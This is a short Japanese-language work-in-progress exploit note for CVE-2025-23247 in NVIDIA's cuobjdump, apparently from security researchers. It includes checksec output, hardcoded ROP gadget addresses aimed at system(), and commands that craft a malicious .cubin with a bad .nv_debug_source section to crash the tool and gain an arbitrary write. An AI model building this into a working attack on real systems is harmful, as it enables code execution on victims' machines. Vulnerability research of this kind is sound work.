CVE-2025-23247

エピックなコラボレーション with @reubensammut :) いつものように :) CVE-2025-23247 の WIP です。現時点ではクラッシュ PoC のみで、バッファとオフセットを制御できることを示しており、aaw を獲得しました。 バグは以下から: https://talosintelligence.com/vulnerability_reports/TALOS-2025-2151

checksec ./cuobjdump [*] '/home/vlad/cuobjdump' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

とにかく PIE がないので

uint64_t system_plt = 0x401d90; uint64_t pop_rdi_ret = 0x402d1b; uint64_t ret_gadget = 0x402d1c; // Just a ret

クラッシュポイント

gcc -o modify_simple modify_simple.c vlad@Vlad-PC:~$ ./modify_simple simple.cubin modified_simple2.cubin 脆弱な .nv_debug_source セクションを含む modified_simple2.cubin を作成しました 実行: ./cuobjdump --dump-elf modified_simple2.cubin

そして、CUDA カーネルについては

nvcc -ptx simple.cu -o simple.ptx nvcc -cubin simple.ptx -o simple.cubin --generate-line-info または nvcc -cubin simple.cu -o simple.cubin --generate-line-info